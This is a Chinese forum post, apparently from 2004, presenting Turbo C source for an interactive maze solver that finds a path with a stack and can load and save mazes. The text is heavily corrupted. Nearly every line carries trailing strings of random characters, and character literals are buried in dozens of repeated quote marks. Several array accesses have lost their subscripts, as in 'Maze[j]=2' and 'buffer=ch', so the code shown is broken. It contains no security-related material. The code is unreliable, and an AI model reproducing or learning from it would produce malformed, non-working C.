QQ登录

只需要一步,快速开始

 注册地址  找回密码
楼主: 韩冰
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>( ]3 x! a- J% F! [  J
< align=left>程序目的:
, X+ E: h9 G: V# J$ ]6 J0 n6 v. x输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并' j- C+ |4 |0 a1 ?8 e: f* l
显示在屏幕上。, L+ r1 n) S5 n4 Z1 Q+ X5 Q3 F
程序实现:
5 U* Q  l# w0 v可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的
2 u. b' `9 l$ D; h& j9 X. u文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载0 }' P% K8 k6 D& F
入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫
  P/ Q. \& c2 L时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
( E0 q' M7 [/ O: b否则会出现错误信息。输入开始时全是墙,用上下左右键移动,
) \4 B0 n0 D% O5 V9 N: p用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以- @& G- H, j/ ]
将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,5 _8 B5 r; h% ]4 d9 _' H- _! ~
找到路径时,屏幕下方会出现Path found,否则出现Path not found。9 o3 s$ H$ _% Q4 G& u
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。: P9 ~) i( K  D( c4 p/ O
不可以在VC上编译。. V% y- p$ x; ?% J+ V' }
下载DOS版和windows版的迷宫游戏全部代码
  X; {$ v6 b$ A4 Y( C! U+ |; Z. G3 ~用户名:migong 3 \8 [4 Q* {1 Z* S; ~" T
----------------------------------------------------------------------------------
* {2 A! G5 y5 ?: v; p# Z/*) k( q! ?4 o' p5 }# r
MazePath Demo BY Turbo C 2.0  W) p/ w% s" H* M/ c/ e% r! P; ~) C* o- A
Copyright(c) RoverUnion. All right reserved.
. D% a' X6 R; ^* w) p, WFilename: Maze.c
2 ~" {, ]4 _4 F3 K, b' v4 f8 {Author Dongchengyu.
! J+ g3 K  _8 e' E0 `( mVer 1.10
6 b3 Z0 r# c0 T; g*/
" _- n8 Q0 m  a. b! |" S* J7 t#include &lt;stdio.h&gt;0 m- ~1 s; b# P# q6 f4 M+ p
#include &lt;stdlib.h&gt;
7 M7 K% d$ ?( o/ O8 d% ~% _#include &lt;malloc.h&gt;) B/ w  a" E& W) [7 g
#include &lt;conio.h&gt;
& t: V+ O# s2 e; Q% I$ e#include &lt;dos.h&gt;
& ~, E" B" Y( v1 l# F9 F4 b/ |#define OK 1
! O7 G! F* b0 }( M# D3 Q- i#define ERROR 0
- X& i+ j/ ]+ ^#define TRUE 17 m* N! b, c7 I' W: u2 x
#define FALSE 0; E. f' g, p5 b
#define F9 0x43" h  E* Z! F0 X. Q6 i7 N$ X
#define Esc 0x1b0 p" x+ u# Q: ]* u
#define Del 0x536 i* Y% t/ ?! G  L
#define Home 0x47
1 b2 T$ D' S! ?0 }& _#define End 0x4f
# M( P' R  Q3 a" O) s* e/ N* M#define Space 0x205 V2 `9 v* S+ x; P; ]
#define Up 0x48
# K3 B) {, K# X; T: h#define Down 0x50
+ c( \, Q, L; o4 _: N#define Left 0x4b$ R5 H. M- z6 U
#define Right 0x4d% z6 {/ c2 G, q1 {2 o0 p
#define Enter 0x0d
- V/ n$ F9 {5 ^4 F#define F2 0x3c
6 I/ ?2 ]1 K3 F1 l9 B- ~( o#define F3 0x3d
; g- W  l2 S2 W#define STACK_INIT_SIZE 200
  H) F* s1 u0 p) Q. w' x5 F& j#define STACKINCREMENT 10
- z' V3 k6 w" T; t( j- V1 V; \: Q, }typedef int Boolean;
: F9 O' p- w0 k9 U: }+ |2 c. A7 ftypedef int Status;
1 p1 `; f, {6 j! W" Wtypedef struct {
, ]. f6 o; B2 Uint x;2 ], x( c* X; a
int y;
; K& w( x0 p: t& o5 z} PosType;/ _9 s. `! X1 t6 p  |
typedef struct {3 L% t1 U4 _' x" a1 u: |' f
int ord;
7 S# ~$ E6 m* hPosType seat;! ^7 D/ a* I; j) S& A; a5 }
int di;
' f1 }* G9 |) _$ R} SElemType;4 R" t1 [, H+ h0 e6 Q7 L3 a
typedef struct {
2 k: s6 ~) J0 M1 O0 a/ L- mint td;
4 I- K4 J. e1 i* R8 rint foot;
% p+ v, e) k" i% J4 B4 R0 ?int mark;) W( m) s2 ~' Q1 T& p; S; X4 K9 r
} MazeType;, }% e5 Q' N7 }; K
typedef struct {
6 v$ }0 @7 T% fSElemType *base;) T' I& R+ ?& k; b: k5 Z  V
SElemType *top;
' L' s" Z8 ~# T# k2 Q0 \int stacksize;
! ~  S$ z+ O0 ~3 e, h. n! W} Stack;
; Z, c, A- S9 L2 W3 [int Maze[20][30];
  P# n9 _( z2 r) cMazeType maze[20][30];
- y  ?3 H( S  GPosType StartPlace;
( Z0 l' \6 ]  lPosType EndPlace;4 L+ ^+ i  P  ^& @. v; j' _
int count;
9 N8 J' X' h; yint m,n;
: Y  O" J2 A5 r: BBoolean b_start=FALSE,b_end=FALSE;
: H7 T  j0 W& K7 f+ d# n/ N, Cvoid CreatMaze(void);) T' W! _8 T3 m
Status SaveMaze(char *filename);
3 g$ v+ ]# }8 kStatus LoadMaze(char *filename);
# a9 H. G; m5 v4 z: i- ]8 e  D" vvoid Error(char *message);* k& F! a7 Y( x5 Q- N9 b
Status InitStack(Stack *s);
$ `# y' Y6 Z+ K" pStatus DestroyStack(Stack *s);+ E* }, p) }) q2 v
Status ClearStack(Stack *s);
7 ?% Y3 \. {5 f3 N. N8 E- N# @Boolean StackEmpty(Stack *s);  u* b4 g0 o! [+ ?
int StackLength(Stack *s);
! a4 j, j+ B. D, w/ GStatus Push(Stack *s,SElemType e);: O/ L8 h( I) u
SElemType Pop(Stack *s,SElemType e);* T; G& c0 u; P0 }
Status GetTop(Stack *s,SElemType *e);- c+ N: @& O% Q2 W* u' M
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));% i) Z6 S) V; }
Boolean Pass(PosType curpos);
$ B) A8 b( a4 s9 }7 ovoid MarkPrint(PosType seat);' g! |( R$ n/ F' g3 j' @
void FootPrint(PosType curpos);' u( j- E$ K! w' y
PosType NextPos(PosType seat,int di);$ l! b/ ?& R# Y1 a5 ~* X
Status MazePath(PosType start,PosType end);
0 i% q9 P8 ~8 B6 a" E. yvoid CreatMaze(void)
4 e1 `$ w( z7 [6 k/* Form the maze. */2 C( ]0 w& ?6 O! C/ r. {) H2 l
{
9 I8 T) q+ C! l0 o, lvoid Error(char *message);
- {2 U% \. ]* @" u2 a$ J3 ]3 ~Status SaveMaze(char *filename);
% ^, n  a1 B! K9 ^. CStatus LoadMaze(char *filename);5 }7 _5 A0 ?# K$ y$ e6 ~
int i,j;
( ~" S( B1 k0 @5 Q5 _int x,y;( X+ l4 e  o0 v5 h/ C' ]8 I
char c;+ F" E. F# R% G/ ^4 @! l% `0 c
char savename[12],loadname[12];9 c/ p+ M! O5 F& f: p* m$ S/ F/ {
Boolean flag=FALSE,load=FALSE;
& l) T  g. i: U/ C0 J% Rclrscr();
% h) e0 ^+ F" b8 Q- Mprintf("Menu:\n\n");
1 u+ D/ f% Q& `7 d# b& mprintf("1.Load Mazefile*.dd)\n\n");
) B; b; q3 L( m2 o# R7 Mprintf("2.Input Maze:\n\n");
! ^! D) `! e2 z: v  F& t7 a# jprintf("Input your choice: ");* L% ~% q0 _$ Z5 B5 t
do
" F  o& k* N# B5 \/ M{
, [0 E! `# f- r7 K5 |c=getch();' q3 j7 n4 B# P8 w  M; E, J1 p
switch(c)/ |: q5 H$ {. m6 `7 {) L  p
{
+ a0 q  }/ G" l! x" F, V& u6 R; c' @5 r9 fcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
8 V+ N4 l1 Z( P0 a5 S. R, @9 [' c; w# tcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;% G$ F' h0 o( @8 F0 P
case Esc: sleep(1); exit(1);$ h: H% C5 E* {5 k* L2 `* s* g
default: break;
! R8 m1 Z! ?) ]% m}
$ q3 j: a  E$ W}
3 F2 w& ]' f4 p9 I0 u8 g- _% `while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;5 m. l) P1 P8 a; g+ a$ ?2 J
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
0 |! w8 }: K% E( L8 c; ?{
; J5 e: W) z- D+ ^* p8 `4 tprintf("\n\nLoadName: ");! g& ^. a  p/ t5 n1 O1 I
scanf("%s",loadname);. e/ Y; d( H2 A+ B
if(LoadMaze(loadname))- F1 ?  L: a& a6 o
{  |. a3 c6 A4 q( T$ d; }. |
sleep(1); load=TRUE;
" D: _& \  f$ p% W3 {2 Q}. J; `7 l' X) p, t+ k8 i
else { gotoxy(1,9); printf("Load fail! "); }- K( F9 Y1 _  p0 z# S7 b+ g( n
}- A8 h8 c) C7 C/ _
if(!load)
5 B2 h0 D% H4 X, G6 s6 ^/ d7 x{
# T" p. C' m! u4 G7 [- X7 f) Yprintf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
, }  p/ t  p" I7 s2 C/ |printf("\nInput Length :\n");, @1 ~5 {7 Q8 V$ h+ y+ h5 o
scanf("%d",&amp;m);
+ t& ]% b& p9 p4 @5 S4 T0 R) h1 Uprintf("\nInput Width :\n");6 h  C- ]7 R! W' w
scanf("%d",&amp;n);
' a% ]8 G3 B* p5 f0 R% y. Yif(m&lt;4||n&lt;4) Error("Input");
6 I' q8 m( _" T8 o1 D8 w. `: oif(m&gt;30||n&gt;20) Error("Maze too large");6 S+ `% G' x; C/ m
for(i=0;i&lt;30;i++)
( B9 w( P0 Y0 R2 P$ j+ T! ffor(j=0;j&lt;20;j++)7 |4 a% ~% m6 o9 ~; r; Z1 {, }
Maze[j]=2;& T: O5 p; B( {8 S+ O( }% B6 `
StartPlace.x=0;
% s- {2 X* W1 `; t$ I; n/ HStartPlace.y=0;2 R; M: r- M% k; U+ k; p
EndPlace.x=0;
7 x1 g( z" e  y0 AEndPlace.y=0;! ^1 a. x* E7 @% l
clrscr();
  E6 l+ R6 f* \# b3 U2 zprintf("\n");/ @; |: P' |# i) `7 O- f
for(i=1;i&lt;=n;i++)
4 J' m6 Q  u. m# \8 Q{
+ ?+ Y0 q& @$ _for(j=1;j&lt;=m;j++)
) q; P8 `$ N/ R( r) Y, f! R{+ q8 t7 {4 E. z( v4 d- N- x& F
printf(" #");! V, _) K5 g7 u: E& g' h- f, j
Maze[i-1][j-1]=0;" T  J. n+ G! a) ~1 K4 x3 S  K. }+ x) L
}
  L) D$ G/ a: S0 ]$ [0 uprintf("\n");7 J) E' n; S+ `, r" f; |& ^$ o- I
}
2 M2 \, O3 H4 V}
7 y% b$ K4 P8 J6 [( [  Qgotoxy(65,5);
, o5 y/ F' C  f% {  k" z, b& kprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
" |  k, {) X3 q# K- kgotoxy(65,7);/ D. e; X/ d, q/ p4 @/ ]9 Y) H
printf("Start:Home");
; x2 s3 H) J9 L& _+ Fgotoxy(65,9);7 d' X1 m# p1 S% c: p  G
printf("End:End");
3 x* m! G; V5 ?- F  }gotoxy(65,11);
9 ?2 r9 B/ ]7 ^printf("Delete Wallel");; R9 Z" f4 [2 |- Y: r5 e, M! m
gotoxy(65,13);
6 I1 D4 i3 z/ J4 ?$ M- G3 [printf("Enter Wall:Enter");
$ m% r% M" r3 Cgotoxy(65,15);' f+ X4 L8 |3 C, }/ M6 m0 ?
printf("Save Maze:F2");( y8 U% i, `! i, ^4 p+ j
gotoxy(65,17);
9 P% U5 J, f1 ~2 ~8 i7 Sprintf("Complete:F9");  V1 i8 R% \5 ~% A# y
gotoxy(65,19);3 J5 g& W6 {( j
printf("Exit:Esc");
. H/ h! r$ Y8 E& b& Ngotoxy(4,3);
6 U* U. A% p, H: Zx=4;y=3;' b9 F: L. ]1 F3 i7 U( {
do
( ^0 n+ `7 J+ s. N{
5 k; o5 v" r: u9 ]3 u* W4 }: Sc=getch();8 `! i9 p9 z, a9 K" J  O" v& T6 d
switch(c)- G9 p) u; u3 R& p, N- Z' M1 y
{
' m6 G: Y4 w5 q0 ^! |1 n" j0 {( Kcase Up: if(y&gt;3) { y--; gotoxy(x,y); }" a; }& ?6 D7 m' k8 x/ `6 @
break;: _! d( i, t* i5 R3 n6 g- E! t
case Down: if(y&lt;n) { y++; gotoxy(x,y); }2 R2 T2 A+ B0 K9 n% i  j! Z# D
break;- H! B! B& G: J( w4 t! v
case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }( m# [3 C6 j9 h8 T. f. O! w5 v2 m
break;8 v- O% r! `7 A
case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
# I9 o. ^1 d8 M; B8 h0 B; Bbreak;. |9 y. D- C8 i+ h& O# |
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
8 L! y3 {" c9 A# f& U  Nif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;, f# l3 B2 T" O  b9 Z, a
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);8 d* {! g3 O  |  \% f1 c
break;  W0 D+ N, }% S! _: `. l$ N# {
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;4 Y& c! D, D( g) V& U
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;5 k! N7 f& B' R) W  V- Z5 l5 u) l
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
# [& z. g, @8 Y1 Y) _7 a* @, v' qbreak;
$ Z7 N3 I( _+ ]: _  M& @1 }$ B+ jcase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
' k4 t5 T' x' J{7 e' Y( t) ?- B: I& H0 V- a
StartPlace.x=x/2-1;- }; v+ o! a5 O1 j
StartPlace.y=y-2;" ?) U5 F6 z! g6 z9 Y2 {+ }4 V
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');$ \9 w5 w6 A1 k8 v/ C6 e& {  U. Y, b
gotoxy(x,y);; i! C0 Q# G+ U$ A" \
b_start=TRUE;: `' H( d) M' r8 E
}
, B$ m5 V$ [% C, A6 }+ r% Q: l; @# Xbreak;: i; B- G( N6 d: {. g  s7 v$ o6 k) s5 M2 s
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
0 t7 R* @6 ]; @7 v) w  b8 ]{
- y/ k% G4 P5 L( M2 e$ L9 [EndPlace.x=x/2-1;
9 }4 z: ^' Q! s6 i" }2 @EndPlace.y=y-2;
! W/ x8 D/ S  Y. C- [' Fputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
7 Q7 S' W0 h9 Q  t. Sgotoxy(x,y);' |1 ^& [' G7 o& Y3 |7 e% T" v
b_end=TRUE;* h2 k% e) w! [% W8 E
}9 D& C# ?7 m. A( C, F
break;' ^- P9 h3 }) _& C/ H
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
! _" |$ X6 y6 a* x' o) h0 P6 Acase F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
. l. T( n# u/ _" g& @" ?# n/ Z" z  |case F2: gotoxy(2,22);# Z; E0 H, T9 @1 V: v
printf("Savename:");
6 F* S) D2 `: g: [, H  \scanf("%s",savename);8 w. P7 y& j5 r; `6 @8 l
gotoxy(2,22);
7 ]( e0 r. A- y0 }. [7 ?if(SaveMaze(savename)) printf("Save OK! ");- C0 x; h; E* n+ T" a* r1 ?
else printf("Save fail! ");# Q5 \/ K$ Z9 K9 X9 l
sleep(1);
# Q: o9 W7 `) q3 u( F4 Tgotoxy(2,22);
8 @, z, F" B" C  Hprintf(" ");
5 w) w+ V9 ~8 o. k) n% S; N0 Zgotoxy(x,y);1 x: A" U3 D4 K# E* L" y  [
break;& N7 [( k) E/ N6 _2 x; N
default: break;" B% h  \* [, _* M9 e- T7 t% p8 Z, ~
}
$ \1 h: R5 u, ^$ [" t5 z% H9 \4 G}
2 m! c9 }3 Q' J! A8 [- owhile(!flag);8 W0 s. b8 w# p5 Q+ W3 B
for(i=0;i&lt;30;i++), R$ T! v+ g2 k9 `
for(j=0;j&lt;20;j++)
" y) J! {1 G5 A, u3 o$ J. @: c( r{/ M4 f% {+ \; K, W5 y" L) p2 `
maze[j].td=Maze[j];+ \. k  N) A# M2 j) @1 D8 e
maze[j].mark=0;1 ^! @1 S* `/ L6 c9 p
maze[j].foot=0;
) t7 M3 \6 g  n* G0 P# |}9 q" j% l. ~: S5 u3 h+ U+ O
}
: o3 K0 P' c: Z$ @1 I) mStatus LoadMaze(char *file)
: e: h3 b4 t2 s/* The maze has been loaded. */2 P' H. \4 K7 R6 A
{7 }0 A# b' I0 z9 O
FILE *fp;0 P$ H9 o4 j+ X, j. s; b" k5 T' X
char *buffer;0 n# [/ a2 C+ s) k' p
char ch;/ l% J' q; ~% Y. K  @0 `- o
int i=0,j,k;
0 G, Z# y* M0 ?8 z! cBoolean len=FALSE,wid=FALSE;
2 ~( c0 q3 q! F1 s+ [9 m0 s6 y3 Dif((fp=fopen(file,"r"))==NULL)
6 z+ d3 j3 {& I* y5 a6 Nreturn ERROR;
7 ?: B5 V/ x4 hbuffer=(char *)malloc(600*sizeof(char));
- v) [4 Q! t" W  E: j: Q/ Tch=fgetc(fp);
2 Y% [5 J+ @# \, X7 T2 O" h& ~while(ch!=EOF)
- _# o. n% M, g( J5 Z" h" E{7 ~) W; v* L( D2 A$ o; b
buffer=ch;
6 `7 T2 m& n' t- t/ A, li++;
2 n- T7 J- a. Y3 w9 Q! Zch=fgetc(fp);& J7 S- f  j* D' ]! E
}
) p, G6 q+ }+ R8 {. \2 Lm=30;n=20;
+ h2 ?: a, W6 Y, H. X# {% |for(i=0;i&lt;600;i++)
$ i8 O' s# A, c6 U! w6 s3 r{
1 [& |* e. ~  }" X0 Tj=i/30; k=i%30;
- [/ |" I5 B& P+ u1 Aif(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
% f# {1 E1 @( Q3 `9 S, ]5 Y6 uif(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }; C- v: y. T/ s3 [: y0 Q
switch(buffer)
8 S- c* H' K& B  t{
, B& H1 X8 ?6 F4 G  bcase ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
! y, f3 h4 \. I' A: S4 t6 O) Vcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
3 B: \( S3 ^% C, u; ?case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;0 }* O1 t0 c. \5 [3 Q
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
# ~& x, j# C1 y% m5 f; @4 N, A7 YStartPlace.x=k;
2 X' L8 h1 W- n0 N4 \StartPlace.y=j;0 {+ X5 k( H: W, H( Z
b_start=TRUE;
0 N# z5 ^; B9 Hbreak;
- d5 r# D9 C& S6 f2 jcase ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
* B$ O+ e- ]3 vEndPlace.x=k;
  Z' r, ]' {- sEndPlace.y=j;
7 @; |5 o2 Y& `" i( jb_end=TRUE;
/ f/ m4 [) S- y" j( {' ]( Mbreak;( E% i4 ?0 [& V" h, J
default : break;( x  u# [7 D9 L( t6 n6 z
}5 \5 w, T5 H5 C0 C5 n. u% n, m
}
, a0 h8 }$ o1 f; `. X: \fclose(fp);% I, Z# G: y" [: S* n3 U
clrscr();. ?0 L3 t$ x+ {4 O) Z
for(i=0;i&lt;30;i++)8 y* |9 X& i# K* p# }" X+ E
for(j=0;j&lt;20;j++)& e% ]) Z# C7 p$ o. ~2 B% P5 N/ f7 X
{
6 T* R7 n' l3 D& f( g: R% I% B# q; S( jmaze[j].td=Maze[j];) V- j0 U; j+ _" ~& k
maze[j].foot=0;0 B7 q7 S- }- N% k
maze[j].mark=0;/ e% p1 N$ a- H) g. ?* f0 W& b: Z
if(Maze[j]==0)
8 @  ?9 |0 K3 d  n5 ]8 G' |{
+ U: x$ H5 i# egotoxy(2*i+2,j+2);2 n3 D, o3 i0 A' w9 _! h' N+ H
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
! x2 r6 L$ y$ B+ u# t& S; c}
! N+ V: T: f, g7 \4 A6 _* j}
6 j+ W" e! z& b( J, x5 _gotoxy(2*StartPlace.x+2,StartPlace.y+2);
# M! |" a( p& G2 O5 z5 g' \9 L0 Q* Iputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
( Y1 b0 P; M9 U3 L; k  o2 b8 hgotoxy(2*EndPlace.x+2,EndPlace.y+2);
* E5 ^! `$ p; W8 Y# Bputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');* U5 [% a4 A0 t
return OK;1 C' E9 p% n5 C( R; I- o( ~4 I
}
1 q) v( U' u( K& x; mStatus SaveMaze(char *filename)* M5 q, z! w' ~: S3 b
/* The maze has been saved. */* ]; ?3 U: \+ {
{
) ]1 i- ~% Z" X3 O8 {FILE *fp;2 {7 W% {7 b  `" }
char *buffer;
9 w1 {& K" P" `) z4 o! I& hint i,j,k;
" V2 L# h4 P' N9 V! J/ l: U" Y; jfp=fopen(filename,"wb");
: ^& z& }, y- Xbuffer=(char *)malloc(600*sizeof(char));# q5 c7 |# |  @
for(i=0;i&lt;600;i++)
" `& P" Q) n+ h' H% y{
  ~2 H) q& O& R% D0 Sj=i/30; k=i%30;& K: K7 }; D6 e/ `
switch(Maze[j][k]). _/ t; P$ D+ |+ o% a- C
{
/ ?5 m! Y3 ]2 d' H; A( o  Gcase 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;7 \6 ]! ~' q/ [" C/ s
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;% U9 h3 C; W: z' S5 @3 K8 Z9 }' \
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;% R" O+ I# |- m6 e
default : Error("Write"); break;
! X) g7 p( h4 G$ Y4 @  K}4 A- \- ?- n; n! g, E
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
( u7 D" M' x4 G+ R& t, w* D/ N) w3 Uif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';, N( l6 B. ?1 d# @' m
}
8 a; k% A* w' |! Dfwrite(buffer,600,1,fp);" P1 h  |6 @3 M7 S2 k* o, W
free(buffer);9 M' Q2 H: L1 e& y  r
fclose(fp);0 `4 m7 _  g3 v! l1 e4 [
return OK;
7 g' O! t" h1 w& Y. t! w  ?. y}$ l- B1 W+ s! n& E
void Error(char *message)( Z; A: J# I% P/ A1 c7 v
{& q' z7 I" F/ U7 c: H+ \( D2 l, Q% M) v
clrscr();
7 ?8 g0 c+ W/ N# f8 k- e$ ffprintf(stderr,"Error:%s\n",message);4 c) T- O% P0 r& \/ H8 L6 V; U
exit(1);! T7 {* P& e* Q0 G: c0 y0 j5 D8 e
} /* Error */1 f+ b5 X& h) F5 I8 U( T( O

  U% T! [/ H$ R4 s! g6 J  tStatus InitStack(Stack *s). P6 e' ~5 D* G% M2 h7 ~
/* The stack s has been created and is initialized to be empty. */3 r3 j# S; f& W
{8 d* E. Z- G  T3 C
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));: v( h6 X5 I5 ^8 b. t' ]0 t
if(!s-&gt;base) Error("Overflow");- N0 s; Q8 `0 g9 I$ D
s-&gt;top=s-&gt;base;
7 ^1 U* c' [- c* ?/ _. }s-&gt;stacksize=STACK_INIT_SIZE;
: N( O/ e( [5 e4 s7 i: E( rreturn OK;2 D3 x0 p  q  E9 o) L' Y1 F6 _
} /* InitStack */
2 r# [: G9 y  |" G' ?4 sStatus DestroyStack(Stack *s)8 n) r& }. q, N" U
/* The stack s has been destroyed. */7 e& Z0 E" q- Q2 J& j) J) o
{) T0 ?1 J, m" g) a
s-&gt;top=NULL;
2 `6 F) S, _3 m- v5 T- B1 g, Zs-&gt;stacksize=0;' l: p1 i9 }9 X& K8 I  E% ^
free(s-&gt;base);
2 M$ [8 J7 d6 S4 F% bs-&gt;base=NULL;5 G4 G1 m7 {- q) \- [  o" e: `
return OK;
  l6 _. P' g% \& {( @} /* DestroyStack */+ m! x- V6 W- j! E: f5 |- S# t
Status ClearStack(Stack *s)# C9 x9 V$ g5 h7 K1 d  o- V9 y
/* The stack has been clear to be maximum. */0 l  P# H: K; Q: X/ u% S5 S; W
{( m6 x8 M' F$ t3 {$ Q9 e# ?- F# n$ e
s-&gt;top=s-&gt;base;6 }$ @* I1 z6 |# W9 {
s-&gt;stacksize=STACK_INIT_SIZE;. Q* f0 _7 R- S) ~5 P
return OK;' c. e! X) m2 J! i) m  C! Q
} /* ClearStack */! L5 J  j& G' {" ~1 A+ @/ X
Boolean StackEmpty(Stack *s)
8 B5 p8 C  M, P0 Q/* Check if the stack s is empty. */
1 Z* K/ r, u$ s! E( b( D$ @{
$ S+ t: J* z( C. fif(s-&gt;top==s-&gt;base) return TRUE;: q# g/ k- F' v' G( O/ H, Y) Y7 D7 u
else return FALSE;- k0 F. y2 f* e" [
} /* StackEmpty */* M3 E# q  ?4 v* ^! B/ U' s" k
int StackLength(Stack *s)6 j1 Q# d- V; X# e# m9 `8 B
/* Gain the length of the stack s. */
7 [* M3 W: `4 ^{
" i  \- P7 h3 d0 p" X$ rif(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);  z& M9 f, ~  V1 Y+ p* u
else return 0;4 K. t& |! B& c' Y( ^5 a
} /* StackLength */( Q$ b; x8 I( h; ?* v
Status Push(Stack *s,SElemType e)
% n0 F/ O% r: p: f/* The element e has been pushed into the stack s. */
. F6 [9 h7 q6 D- d) _- G% @- C{
4 M9 ~* M# i1 r$ |- G% _+ ~if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
$ h9 {! }' ?6 t0 x) `{: t/ l# \+ T- |7 O5 n
s-&gt;base=(SElemType *)realloc(s-&gt;base,
" }8 h& B: ^, `0 s5 C2 B0 p- J(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
$ T" S) D4 @7 \, h" U  q7 i7 mif(!s-&gt;base) Error("Overflow");
8 Y" [# ]* Q2 c/ i9 t+ e" F( es-&gt;top=s-&gt;base+s-&gt;stacksize;
5 i/ f6 u5 z9 Q( {s-&gt;stacksize+=STACKINCREMENT;
; ?# Z+ \1 O$ u  Z}
# C* N0 A7 c8 F*s-&gt;top++=e;  @5 T& V$ ?; m
return OK;: w& g: J# a4 l0 H
} /* Push */5 W3 p6 g+ A. C1 p% V5 \; ?9 w
SElemType Pop(Stack *s,SElemType e)
. u  [$ C3 I9 ?# W1 ~, C/* The element e has been removed from the stack s. */
) \; t0 X, ?0 e  Z0 A7 w7 r+ x, m" M{
, ]. r' ~8 T: K( c7 ~1 t3 x% zif(s-&gt;top==s-&gt;base) Error("op");
: v# P3 s% E: h, t/ Se=*--s-&gt;top;
) n# ?0 }8 l5 v2 Ureturn e;8 A  A% Q- R! Z* r
} /* Pop */
8 O: |6 x# Z1 G2 O! G3 PStatus GetTop(Stack *s,SElemType *e). L# U8 i+ V3 v2 }; P: h
/* The element e has got to the top of the stack s.*/2 a2 ]) r8 |7 M" v2 O" h' d
{" |* e3 R2 Y# D
if(s-&gt;top==s-&gt;base) Error("GetTop");
+ l3 r1 |# W3 ]' d4 [$ z+ [% i% P' }9 D*e=*(s-&gt;top-1);
. r1 {1 L7 f/ g/ D/ ureturn OK;
' x' ?& Y1 q  S  [7 h! E0 I} /* GetTop */3 M% N5 u: ~4 E0 J: C: X
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
. |. C. Q# i0 n4 J: n2 |" K  D  ?/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))3 D$ g) I, ~" x/ {& C
{
8 j; p# Q+ U* o1 M9 ySElemType p;: f$ k/ b9 K! g) E+ ?
int result;/ T: B" v3 c4 e6 L
if(s-&gt;top==s-&gt;base) return ERROR;8 Q) M4 u3 Q  }* B: k
p=s-&gt;base;4 \3 P2 l) Y  ^0 p; Y0 C- e' X& D
while(!(p==s-&gt;top))
# E2 `7 `( P2 N7 A' P& {! p. q{. a* m% A: a1 m- b  c# f
result=(*visit)(p);
. O1 G' m2 B  U4 s- Fp++;. I4 D4 H4 n% m& R
}
2 {$ y2 r8 U1 }' J1 h+ |& d# E. z# lreturn OK;
5 P- O3 n$ S3 q5 q# I8 a! n} */
